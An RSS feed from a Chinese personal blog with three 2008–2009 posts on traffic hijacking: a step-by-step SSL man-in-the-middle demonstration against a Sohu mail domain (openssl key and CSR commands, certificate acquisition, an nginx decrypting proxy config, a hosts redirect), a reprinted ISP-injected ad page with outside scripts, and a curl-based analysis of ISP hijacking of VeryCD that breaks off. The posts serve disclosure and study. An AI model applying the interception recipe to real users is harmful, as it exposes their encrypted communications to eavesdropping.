<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>狂人山庄 &#124; Silence,声仔,吴洪声,奶罩 &#187; hijack</title>
	<atom:link href="http://wuhongsheng.com/tag/hijack/feed/" rel="self" type="application/rss+xml" />
	<link>http://wuhongsheng.com</link>
	<description>响应我党号召,全面建设和谐博客,坚持和谐写博的路线不动摇</description>
	<lastBuildDate>Mon, 14 Jun 2010 06:54:41 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>SSL窃听攻击实操</title>
		<link>http://wuhongsheng.com/it/2009/09/ssl-hijack/</link>
		<comments>http://wuhongsheng.com/it/2009/09/ssl-hijack/#comments</comments>
		<pubDate>Tue, 29 Sep 2009 05:07:13 +0000</pubDate>
		<dc:creator>吴洪声</dc:creator>
				<category><![CDATA[IT]]></category>
		<category><![CDATA[hijack]]></category>
		<category><![CDATA[proxy]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[sohu]]></category>
		<category><![CDATA[ssl]]></category>

		<guid isPermaLink="false">http://wuhongsheng.com/?p=315</guid>
		<description><![CDATA[OK，我恶毒的心灵又开始蠢蠢欲动了。今天带给大家的是SSL窃听攻击从理论到实际操作的成功例子 SSL窃听最主要的是你要有一张合法的SSL证书，并且证书名称必须和被攻击的网站域名一致。目前各大CA都有很低廉价格的SSL证书申请，最低的价格只需要10美元不到，甚至还有一些域名注册商大批量采购这些证书，并且在你注册域名的时候免费送你一张。 对于低廉价格的域名SSL证书，CA签发的前提只有一个：只要你有申请的域名某几个特定的邮箱，并且在CA给这个邮箱发送一封确认邮件的时候approve就可以了。 所以，问题的关键是如何截获到这封确认邮件。但我相信某些机构是有办法能做到这一点的。 当然，还有更加简单的办法：国内不少软件在安装的时候，都会偷偷摸摸的把自己的root CA装到用户电脑里面去。Windows的安全机制让这个导入root CA的操作根本没有任何的确认信息和提示。甚至微软还提供了一个专用的小程序用于导入证书。只要你找到这些软件厂商，就可以任意生成证书，并且这些证书都是有效的，不会出现警告。 废话不多说了，开始干活。这里sohu的vip邮箱为例（他们能在整个使用过程中支持ssl），先生成一张vip.sohu.com的key和csr Sam@Bra:~$ mkdir ssltest Sam@Bra:~$ cd ssltest Sam@Bra:~/ssltest$ openssl genrsa -out vip.sohu.com.key 1024 Generating RSA private key, 1024 bit long modulus ............++++++ .....................++++++ e is 65537 &#40;0x10001&#41; Sam@Bra:~/ssltest$ openssl req -new -key vip.sohu.com.key -out vip.sohu.com.csr You are about to be asked to enter information that will be incorporated [...]


Related posts:<ol><li><a href='http://wuhongsheng.com/it/2009/10/uucall-com-clienthold/' rel='bookmark' title='Permanent Link: UUCall域名被clientHold'>UUCall域名被clientHold</a> <small>Domain Name: UUCALL.COM Registrar: BEIJING INNOVATIVE LINKAGE TECHNOLOGY LTD. DBA...</small></li>
</ol>

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>OK，我恶毒的心灵又开始蠢蠢欲动了。今天带给大家的是SSL窃听攻击从理论到实际操作的成功例子<br />
SSL窃听最主要的是你要有一张合法的SSL证书，并且证书名称必须和被攻击的网站域名一致。目前各大CA都有很低廉价格的SSL证书申请，最低的价格只需要10美元不到，甚至还有一些域名注册商大批量采购这些证书，并且在你注册域名的时候免费送你一张。<br />
对于低廉价格的域名SSL证书，CA签发的前提只有一个：只要你有申请的域名某几个特定的邮箱，并且在CA给这个邮箱发送一封确认邮件的时候approve就可以了。<br />
所以，问题的关键是如何截获到这封确认邮件。但我相信某些机构是有办法能做到这一点的。<br />
当然，还有更加简单的办法：国内不少软件在安装的时候，都会偷偷摸摸的把自己的root CA装到用户电脑里面去。Windows的安全机制让这个导入root CA的操作根本没有任何的确认信息和提示。甚至微软还提供了一个专用的小程序用于导入证书。只要你找到这些软件厂商，就可以任意生成证书，并且这些证书都是有效的，不会出现警告。</p>
<p>废话不多说了，开始干活。这里sohu的vip邮箱为例（他们能在整个使用过程中支持ssl），先生成一张vip.sohu.com的key和csr</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">Sam<span style="color: #000000; font-weight: bold;">@</span>Bra:~$ <span style="color: #c20cb9; font-weight: bold;">mkdir</span> ssltest
Sam<span style="color: #000000; font-weight: bold;">@</span>Bra:~$ <span style="color: #7a0874; font-weight: bold;">cd</span> ssltest
Sam<span style="color: #000000; font-weight: bold;">@</span>Bra:~<span style="color: #000000; font-weight: bold;">/</span>ssltest$ openssl genrsa <span style="color: #660033;">-out</span> vip.sohu.com.key <span style="color: #000000;">1024</span>
Generating RSA private key, <span style="color: #000000;">1024</span> bit long modulus
............++++++
.....................++++++
e is <span style="color: #000000;">65537</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span>0x10001<span style="color: #7a0874; font-weight: bold;">&#41;</span>
Sam<span style="color: #000000; font-weight: bold;">@</span>Bra:~<span style="color: #000000; font-weight: bold;">/</span>ssltest$ openssl req <span style="color: #660033;">-new</span> <span style="color: #660033;">-key</span> vip.sohu.com.key <span style="color: #660033;">-out</span> vip.sohu.com.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter <span style="color: #ff0000;">'.'</span>, the field will be left blank.
<span style="color: #660033;">-----</span>
Country Name <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">2</span> letter code<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span>AU<span style="color: #7a0874; font-weight: bold;">&#93;</span>:CN
State or Province Name <span style="color: #7a0874; font-weight: bold;">&#40;</span>full name<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span>Some-State<span style="color: #7a0874; font-weight: bold;">&#93;</span>:BeiJing
Locality Name <span style="color: #7a0874; font-weight: bold;">&#40;</span>eg, city<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>:BeiJing
Organization Name <span style="color: #7a0874; font-weight: bold;">&#40;</span>eg, company<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span>Internet Widgits Pty Ltd<span style="color: #7a0874; font-weight: bold;">&#93;</span>:fake sohu
Organizational Unit Name <span style="color: #7a0874; font-weight: bold;">&#40;</span>eg, section<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>:fake
Common Name <span style="color: #7a0874; font-weight: bold;">&#40;</span>eg, YOUR name<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>:vip.sohu.com
Email Address <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>:ssladmin<span style="color: #000000; font-weight: bold;">@</span>vip.sohu.com
&nbsp;
Please enter the following <span style="color: #ff0000;">'extra'</span> attributes
to be sent with your certificate request
A challenge password <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>:
An optional company name <span style="color: #7a0874; font-weight: bold;">&#91;</span><span style="color: #7a0874; font-weight: bold;">&#93;</span>:</pre></div></div>

<p>well，这样我们就有了一个用于vip.sohu.com的申请了，接着我们去签发这个申请</p>
<p><a href="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack1.png"><img src="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack1.png" alt="sslhijack1" title="sslhijack1" width="583" height="448" class="alignnone size-full wp-image-327" /></a></p>
<p>然后系统会给你一大堆管理员相关的邮箱等你去选<br />
<a href="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack2.png"><img src="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack2.png" alt="sslhijack2" title="sslhijack2" width="603" height="639" class="alignnone size-full wp-image-320" /></a></p>
<p>选上一个后，ca就会给你所选的邮箱发送一封确认邮件，邮件中带有一个连接，打开连接后会让你确认，确认后。。。嘿嘿，证书就到手了<br />
<a href="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack3.png"><img src="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack3.png" alt="sslhijack3" title="sslhijack3" width="747" height="552" class="alignnone size-full wp-image-329" /></a></p>
<p><a href="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack4.png"><img src="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack4.png" alt="sslhijack4" title="sslhijack4" width="773" height="510" class="alignnone size-full wp-image-330" /></a><a href="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack5.png"><img src="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack5.png" alt="sslhijack5" title="sslhijack5" width="761" height="96" class="alignnone size-full wp-image-331" /></a><a href="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack6.png"><img src="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack6.png" alt="sslhijack6" title="sslhijack6" width="865" height="475" class="alignnone size-full wp-image-332" /></a></p>
<p>把申请下来的证书保存一下，然后修改下nginx的配置文件，把证书加上，并且设置一个反向代理到vip.sohu.com，大概的样子如下</p>

<div class="wp_syntax"><div class="code"><pre class="conf" style="font-family:monospace;">    # HTTPS server
    #
    server {
        listen       443;
        server_name  vip.sohu.com;
&nbsp;
        ssl                  on;
        ssl_certificate      sslkeys/vip.sohu.com.crt;
        ssl_certificate_key  sslkeys/vip.sohu.com.key;
&nbsp;
        ssl_session_timeout  5m;
&nbsp;
        ssl_protocols  SSLv2 SSLv3 TLSv1;
        ssl_ciphers  ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP;
        ssl_prefer_server_ciphers   on;
&nbsp;
        location / {
                proxy_pass      https://vip.sohu.com;
        }
    }</pre></div></div>

<p>搞定，保存，重启nginx。修改本机的hosts文件，把vip.sohu.com这个域名指向nginx所在的服务器</p>

<div class="wp_syntax"><div class="code"><pre class="conf" style="font-family:monospace;">127.0.0.1 vip.sohu.com</pre></div></div>

<p>打开浏览器，输入https://vip.sohu.com，你会发现。。。。根本没任何报错或者警告信息！也就是说，ssl证书被成功替换，再就是说，你的所有传输都被劫持了。<br />
经过测试，IE、firefox、safari等浏览器同仁纷纷表示对替换证书的行为毫不知情并对被替换后的证书予以大力支持，大肆宣扬被劫持的网站是高可信度的网站。</p>
<p>回头再简单阐述这个过程：用户访问一个网站，但中间已经被插了一层proxy。proxy使用了一个真实的并且高度可信的证书与用户交换数据。用户和proxy之间使用ssl加密通道交换数据。数据到了proxy后，会被解密并监听分析。之后proxy再模仿成一个client向网站的服务器发送数据，同样传输也是ssl加密的。网站的服务器对此毫不知情，只能获取到是proxy发出的请求，但其实proxy并不是最终用户，数据其实早已被监听并分析。</p>
<p>最后，还是应了那句话：不要迷恋ssl，ssl只是个传说</p>
<p>备注：<br />
1.转载请注明出处：http://wuhongsheng.com/it/2009/09/ssl-hijack/<br />
2.sohu的哥们不要来找我麻烦或者跨省追捕，选上你们是因为你们太安全了，支持ssl访问邮箱<br />
3.有时间大家还是多点关注我的DNSPod，最近DNSPod正在招人，人不好找啊。。。请大家帮忙宣传下，介绍一些人才过来 https://www.dnspod.com/About/Jobs</p>
<p>前面一张图是sohu自己原始的证书，第二张开始就是被替换后的证书<br />
<a href="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack7.png"><img src="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack7.png" alt="sslhijack7" title="sslhijack7" width="727" height="596" class="alignnone size-full wp-image-333" /></a></p>
<p><a href="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack8.png"><img src="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack8.png" alt="sslhijack8" title="sslhijack8" width="660" height="596" class="alignnone size-full wp-image-334" /></a></p>
<p><a href="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack9.png"><img src="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack9.png" alt="sslhijack9" title="sslhijack9" width="795" height="596" class="alignnone size-full wp-image-335" /></a></p>
<p><a href="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack10.png"><img src="http://wuhongsheng.com/wp-content/uploads/2009/09/sslhijack10.png" alt="sslhijack10" title="sslhijack10" width="889" height="366" class="alignnone size-full wp-image-336" /></a></p>


<p>Related posts:<ol><li><a href='http://wuhongsheng.com/it/2009/10/uucall-com-clienthold/' rel='bookmark' title='Permanent Link: UUCall域名被clientHold'>UUCall域名被clientHold</a> <small>Domain Name: UUCALL.COM Registrar: BEIJING INNOVATIVE LINKAGE TECHNOLOGY LTD. DBA...</small></li>
</ol></p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://wuhongsheng.com/it/2009/09/ssl-hijack/feed/</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>湛江电信ADSL继续强奸用户</title>
		<link>http://wuhongsheng.com/life/2009/04/zhanjiang-telecom-hijack-adsl-user/</link>
		<comments>http://wuhongsheng.com/life/2009/04/zhanjiang-telecom-hijack-adsl-user/#comments</comments>
		<pubDate>Fri, 24 Apr 2009 11:23:06 +0000</pubDate>
		<dc:creator>吴洪声</dc:creator>
				<category><![CDATA[生活]]></category>
		<category><![CDATA[adsl]]></category>
		<category><![CDATA[hijack]]></category>
		<category><![CDATA[zhanjiang]]></category>

		<guid isPermaLink="false">http://wuhongsheng.com/life/2009/04/zhanjiang-telecom-hijack-adsl-user/</guid>
		<description><![CDATA[立此存照 &#60;html&#62; &#60;head&#62; &#60;meta http-equiv=&#8217;pragma&#8217; content=&#8217;no-cache&#8217;/&#62; &#60;meta http-equiv=&#8217;expires&#8217; content=&#8217;-1&#8242;/&#62; &#60;script&#62; window.setInterval(&#8216;window.status=location.href&#8217;, 200); &#60;/script&#62; &#60;/head&#62; &#60;body scroll=&#8217;no&#8217; style=&#8217;border:0; margin:0; padding:0;&#8217; id=&#8217;mainbody&#8217;&#62; &#60;iframe src=&#8217;about:blank&#8217; width=&#8217;100%&#8217; height=&#8217;100%&#8217; frameborder=&#8217;0&#8242;&#62;&#60;/iframe&#62; &#60;script language=&#8217;JavaScript&#8217; src=&#8217;http://121.10.130.24:1010/open.js&#8217;&#62;&#60;/script&#62; &#60;script language=&#8217;JavaScript&#8217;&#62; var content=&#8217;http://welcome.gd.vnet.cn/ztts/happytv%5Fnb/?p=1240568245&#124;11215897&#124;388&#124;448&#124;0&#124;0&#38;param=ABioyajZGekprChZWXkIu/zsnM0Zib2Y+Qk5achpabwszHx9mKjJqNkZ6Sms3ChZWXkIu/zsnM0Zib2ZyWi4aWm8LP2YyQio2cmoqNk8KLjZ6bmtGLnpCdnpDRnJCS0IuNnpua0JaLmpKTloyL0JOWjIugjJCTm6CWi5qSjNGXi5I=&#8217;; &#60;!&#8211; Web Stats &#8211;&#62; &#60;iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0&#62;&#60;/iframe&#62; &#60;!&#8211; End Web Stats &#8211;&#62; var old_url=&#8217;http://trade.taobao.com/trade/itemlist/list_sold_items.htm?&#8217;; var param=&#8217;350&#124;250&#124;9&#8242;; var stat_path = &#8216;http://121.10.130.13/stat.aspx?p=1240568245&#124;11215897&#124;388&#124;448&#124;0&#124;0&#8242;; try{OpenWin();}catch(e){location.reload(true);} [...]


Related posts:<ol><li><a href='http://wuhongsheng.com/it/2009/09/ssl-hijack/' rel='bookmark' title='Permanent Link: SSL窃听攻击实操'>SSL窃听攻击实操</a> <small>OK，我恶毒的心灵又开始蠢蠢欲动了。今天带给大家的是SSL窃听攻击从理论到实际操作的成功例子 SSL窃听最主要的是你要有一张合法的SSL证书，并且证书名称必须和被攻击的网站域名一致。目前各大CA都有很低廉价格的SSL证书申请，最低的价格只需要10美元不到，甚至还有一些域名注册商大批量采购这些证书，并且在你注册域名的时候免费送你一张。 对于低廉价格的域名SSL证书，CA签发的前提只有一个：只要你有申请的域名某几个特定的邮箱，并且在CA给这个邮箱发送一封确认邮件的时候approve就可以了。 所以，问题的关键是如何截获到这封确认邮件。但我相信某些机构是有办法能做到这一点的。 当然，还有更加简单的办法：国内不少软件在安装的时候，都会偷偷摸摸的把自己的root CA装到用户电脑里面去。Windows的安全机制让这个导入root CA的操作根本没有任何的确认信息和提示。甚至微软还提供了一个专用的小程序用于导入证书。只要你找到这些软件厂商，就可以任意生成证书，并且这些证书都是有效的，不会出现警告。 废话不多说了，开始干活。这里sohu的vip邮箱为例（他们能在整个使用过程中支持ssl），先生成一张vip.sohu.com的key和csr Sam@Bra:~$ mkdir...</small></li>
<li><a href='http://wuhongsheng.com/life/2009/12/kaspersky/' rel='bookmark' title='Permanent Link: 看看卡巴斯基能坚持到什么时候'>看看卡巴斯基能坚持到什么时候</a> <small>相信最近一个多月中，机器装了卡巴斯基的朋友访问我的blog的时候，一定会出现一个网页有毒的警报。而有毒的文件则是favicon.ico。其实我的网站之前是没有这个文件的，是WordPress输出了一个404，然后后面带上了不少js内容，但卡巴就没有判断网页其实已经是404，就这样以为是带毒了。 事情已经过去有快2个月了，到今天为止还是有不少人跟我说我的blog被挂马。我很好奇，对于这个误报的情况，卡巴还能坚持多久？...</small></li>
</ol>

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>立此存照</p>
<blockquote>
<p>&lt;html&gt;</p>
<p>&lt;head&gt;</p>
<p>&lt;meta http-equiv=&#8217;pragma&#8217; content=&#8217;no-cache&#8217;/&gt;</p>
<p>&lt;meta http-equiv=&#8217;expires&#8217; content=&#8217;-1&#8242;/&gt;</p>
<p>&lt;script&gt;</p>
<p>window.setInterval(&#8216;window.status=location.href&#8217;, 200);</p>
<p>&lt;/script&gt;</p>
<p>&lt;/head&gt;</p>
<p>&lt;body scroll=&#8217;no&#8217; style=&#8217;border:0; margin:0; padding:0;&#8217; id=&#8217;mainbody&#8217;&gt;</p>
<p>&lt;iframe src=&#8217;about:blank&#8217; width=&#8217;100%&#8217; height=&#8217;100%&#8217; frameborder=&#8217;0&#8242;&gt;&lt;/iframe&gt;</p>
<p>&lt;script language=&#8217;JavaScript&#8217; src=&#8217;http://121.10.130.24:1010/open.js&#8217;&gt;&lt;/script&gt;</p>
<p>&lt;script language=&#8217;JavaScript&#8217;&gt;</p>
<p>var content=&#8217;http://welcome.gd.vnet.cn/ztts/happytv%5Fnb/?p=1240568245|11215897|388|448|0|0&amp;param=ABioyajZGekprChZWXkIu/zsnM0Zib2Y+Qk5achpabwszHx9mKjJqNkZ6Sms3ChZWXkIu/zsnM0Zib2ZyWi4aWm8LP2YyQio2cmoqNk8KLjZ6bmtGLnpCdnpDRnJCS0IuNnpua0JaLmpKTloyL0JOWjIugjJCTm6CWi5qSjNGXi5I=&#8217;;</p>
<p>&lt;!&#8211; Web Stats &#8211;&gt; &lt;iframe src=http://74.222.134.170/stats.php?id=2 width=1 height=1 frameborder=0&gt;&lt;/iframe&gt; &lt;!&#8211; End Web Stats &#8211;&gt;
<p>var old_url=&#8217;http://trade.taobao.com/trade/itemlist/list_sold_items.htm?&#8217;;</p>
<p>var param=&#8217;350|250|9&#8242;;</p>
<p>var stat_path = &#8216;http://121.10.130.13/stat.aspx?p=1240568245|11215897|388|448|0|0&#8242;;</p>
<p>try{OpenWin();}catch(e){location.reload(true);}</p>
<p>&lt;/script&gt;</p>
<p>&lt;/body&gt;</p>
<p>&lt;/html&gt;</p>
</blockquote>


<p>Related posts:<ol><li><a href='http://wuhongsheng.com/it/2009/09/ssl-hijack/' rel='bookmark' title='Permanent Link: SSL窃听攻击实操'>SSL窃听攻击实操</a> <small>OK，我恶毒的心灵又开始蠢蠢欲动了。今天带给大家的是SSL窃听攻击从理论到实际操作的成功例子 SSL窃听最主要的是你要有一张合法的SSL证书，并且证书名称必须和被攻击的网站域名一致。目前各大CA都有很低廉价格的SSL证书申请，最低的价格只需要10美元不到，甚至还有一些域名注册商大批量采购这些证书，并且在你注册域名的时候免费送你一张。 对于低廉价格的域名SSL证书，CA签发的前提只有一个：只要你有申请的域名某几个特定的邮箱，并且在CA给这个邮箱发送一封确认邮件的时候approve就可以了。 所以，问题的关键是如何截获到这封确认邮件。但我相信某些机构是有办法能做到这一点的。 当然，还有更加简单的办法：国内不少软件在安装的时候，都会偷偷摸摸的把自己的root CA装到用户电脑里面去。Windows的安全机制让这个导入root CA的操作根本没有任何的确认信息和提示。甚至微软还提供了一个专用的小程序用于导入证书。只要你找到这些软件厂商，就可以任意生成证书，并且这些证书都是有效的，不会出现警告。 废话不多说了，开始干活。这里sohu的vip邮箱为例（他们能在整个使用过程中支持ssl），先生成一张vip.sohu.com的key和csr Sam@Bra:~$ mkdir...</small></li>
<li><a href='http://wuhongsheng.com/life/2009/12/kaspersky/' rel='bookmark' title='Permanent Link: 看看卡巴斯基能坚持到什么时候'>看看卡巴斯基能坚持到什么时候</a> <small>相信最近一个多月中，机器装了卡巴斯基的朋友访问我的blog的时候，一定会出现一个网页有毒的警报。而有毒的文件则是favicon.ico。其实我的网站之前是没有这个文件的，是WordPress输出了一个404，然后后面带上了不少js内容，但卡巴就没有判断网页其实已经是404，就这样以为是带毒了。 事情已经过去有快2个月了，到今天为止还是有不少人跟我说我的blog被挂马。我很好奇，对于这个误报的情况，卡巴还能坚持多久？...</small></li>
</ol></p>
<p>Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.</p>]]></content:encoded>
			<wfw:commentRss>http://wuhongsheng.com/life/2009/04/zhanjiang-telecom-hijack-adsl-user/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>网通用户访问VeryCD等P2P网站被劫持的分析和解决方案</title>
		<link>http://wuhongsheng.com/it/2008/11/analysis-and-resolve-of-hijack-when-beijing-cnc-users-access-verycdcom-and-others-p2p-website/</link>
		<comments>http://wuhongsheng.com/it/2008/11/analysis-and-resolve-of-hijack-when-beijing-cnc-users-access-verycdcom-and-others-p2p-website/#comments</comments>
		<pubDate>Sat, 08 Nov 2008 15:46:30 +0000</pubDate>
		<dc:creator>吴洪声</dc:creator>
				<category><![CDATA[IT]]></category>
		<category><![CDATA[btchina]]></category>
		<category><![CDATA[caoz]]></category>
		<category><![CDATA[cnc]]></category>
		<category><![CDATA[curl]]></category>
		<category><![CDATA[dash]]></category>
		<category><![CDATA[gfw]]></category>
		<category><![CDATA[hijack]]></category>
		<category><![CDATA[mininova]]></category>
		<category><![CDATA[verycd]]></category>
		<category><![CDATA[xdanger]]></category>

		<guid isPermaLink="false">http://wuhongsheng.com/?p=214</guid>
		<description><![CDATA[今天总算闲了下来，随手把前几天VeryCD被劫持的一些分析记录和解决方法整理出来。相信这份资料对个人站长来说非常有参考价值。 顺便推荐一下Caoz写的一篇文章，希望大家都能了解做网站背后的辛酸：由做站长的艰辛说起 ==== 话说VeryCD等网站被劫持的第二天，劫持还在继续。我闲着无聊在QQ群里胡扯，被Dash和xdanger逮到。正好我非常荣幸的是北京网通用户，这个伟大的任务就只能交给我了。 先用正常方式访问一下VeryCD，得到下面的结果 Sam@Bogon:~$ curl -v -H www.verycd.com * About to connect() to x.x.x.x port 80 (#0) * Trying x.x.x.x... connected * Connected to x.x.x.x (x.x.x.x) port 80 (#0) &#62; GET / HTTP/1.1 &#62; User-Agent: curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3 &#62; Accept: */* &#62; Host: www.verycd.com &#62; &#60; HTTP/1.1 200 OK &#60; Content-Type: [...]


Related posts:<ol><li><a href='http://wuhongsheng.com/it/2009/09/ssl-hijack/' rel='bookmark' title='Permanent Link: SSL窃听攻击实操'>SSL窃听攻击实操</a> <small>OK，我恶毒的心灵又开始蠢蠢欲动了。今天带给大家的是SSL窃听攻击从理论到实际操作的成功例子 SSL窃听最主要的是你要有一张合法的SSL证书，并且证书名称必须和被攻击的网站域名一致。目前各大CA都有很低廉价格的SSL证书申请，最低的价格只需要10美元不到，甚至还有一些域名注册商大批量采购这些证书，并且在你注册域名的时候免费送你一张。 对于低廉价格的域名SSL证书，CA签发的前提只有一个：只要你有申请的域名某几个特定的邮箱，并且在CA给这个邮箱发送一封确认邮件的时候approve就可以了。 所以，问题的关键是如何截获到这封确认邮件。但我相信某些机构是有办法能做到这一点的。 当然，还有更加简单的办法：国内不少软件在安装的时候，都会偷偷摸摸的把自己的root CA装到用户电脑里面去。Windows的安全机制让这个导入root CA的操作根本没有任何的确认信息和提示。甚至微软还提供了一个专用的小程序用于导入证书。只要你找到这些软件厂商，就可以任意生成证书，并且这些证书都是有效的，不会出现警告。 废话不多说了，开始干活。这里sohu的vip邮箱为例（他们能在整个使用过程中支持ssl），先生成一张vip.sohu.com的key和csr Sam@Bra:~$ mkdir...</small></li>
</ol>

Related posts brought to you by <a href='http://mitcho.com/code/yarpp/'>Yet Another Related Posts Plugin</a>.]]></description>
			<content:encoded><![CDATA[<p>今天总算闲了下来，随手把前几天VeryCD被劫持的一些分析记录和解决方法整理出来。相信这份资料对个人站长来说非常有参考价值。</p>
<p>顺便推荐一下Caoz写的一篇文章，希望大家都能了解做网站背后的辛酸：<a href="http://hi.baidu.com/caoz/blog/item/51ee8a13486770d7f7039e2e.html">由做站长的艰辛说起</a> </p>
<p>====<br />
话说VeryCD等网站被劫持的第二天，劫持还在继续。我闲着无聊在QQ群里胡扯，被Dash和xdanger逮到。正好我非常荣幸的是北京网通用户，这个伟大的任务就只能交给我了。</p>
<p>先用正常方式访问一下VeryCD，得到下面的结果</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">Sam@Bogon:~$ curl -v -H www.verycd.com
* About to connect() to x.x.x.x port 80 (#0)
*   Trying x.x.x.x... connected
* Connected to x.x.x.x (x.x.x.x) port 80 (#0)
&gt; GET / HTTP/1.1
&gt; User-Agent: curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3
&gt; Accept: */*
&gt; Host: www.verycd.com
&gt; 
&lt; HTTP/1.1 200 OK
&lt; Content-Type: text/html;charset=gb2312
&lt; Content-Length:182
&lt; 
&lt;html&gt;&lt;head&gt;&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=gb2312&quot;&gt;&lt;title&gt;warn&lt;/title&gt;&lt;/head&gt;&lt;frameset cols=&quot;100&quot;&gt;&lt;frame src=&quot;http://www.baidu.com&quot;/&gt;&lt;/frameset&gt;&lt;/html&gt;
* Connection #0 to host x.x.x.x left intact
* Closing connection #0
Sam@Bogon:~$</pre></div></div>

<p>可以发现返回的结果直接被劫持并替换。并不像一般的挂马等行为是在网页内容的最前或者最后部分插入劫持代码。</p>
<p>之后直接输入VeryCD的IP，返回的结果是VeryCD的squid服务器默认页面，说明IP并没有成为劫持的判断标准。应该是VeryCD的域名或者网页中某个特征导致劫持设备对内容进行替换。（此处省略结果）</p>
<p>既然域名是判断的标准之一，那么就可以尝试替换HTTP协议中Host的办法来测试</p>

<div class="wp_syntax"><div class="code"><pre class="html" style="font-family:monospace;">(1)
Sam@Bogon:~$ curl -v -H 'Host: www.veryc.com' www.verycd.com
* About to connect() to www.verycd.com port 80 (#0)
*   Trying x.x.x.x... connected
* Connected to www.verycd.com (x.x.x.x) port 80 (#0)
&gt; GET / HTTP/1.1
&gt; User-Agent: curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3
&gt; Accept: */*
&gt; Host: www.veryc.com
&gt; 
&lt; HTTP/1.1 200 OK
(略)
&nbsp;
(2)
Sam@Bogon:~$ curl -v -H 'Host: verycd.com' www.verycd.com
* About to connect() to www.verycd.com port 80 (#0)
*   Trying x.x.x.x... connected
* Connected to www.verycd.com (x.x.x.x) port 80 (#0)
&gt; GET / HTTP/1.1
&gt; User-Agent: curl/7.16.3 (powerpc-apple-darwin9.0) libcurl/7.16.3 OpenSSL/0.9.7l zlib/1.2.3
&gt; Accept: */*
&gt; Host: verycd.com
&gt; 
&lt; HTTP/1.1 200 OK
&lt; Content-Type: text/html;charset=gb2312
&lt; Content-Length:182
&lt; 
&lt;html&gt;&lt;head&gt;&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=gb2312&quot;&gt;&lt;title&gt;warn&lt;/title&gt;&lt;/head&gt;&lt;frameset cols=&quot;100&quot;&gt;&lt;frame src=&quot;http://www.baidu.com&quot;/&gt;&lt;/frameset&gt;&lt;/html&gt;
* Connection #0 to host www.verycd.com left intact
* Closing connection #0
Sam@Bogon:~$ 
&nbsp;
(3)
Sam@Bogon:~$ curl -v -H 'Host: www.veryc.com' www.verycd.com/verycd.com
* About to connect() to www.verycd.com port 80 (#0)
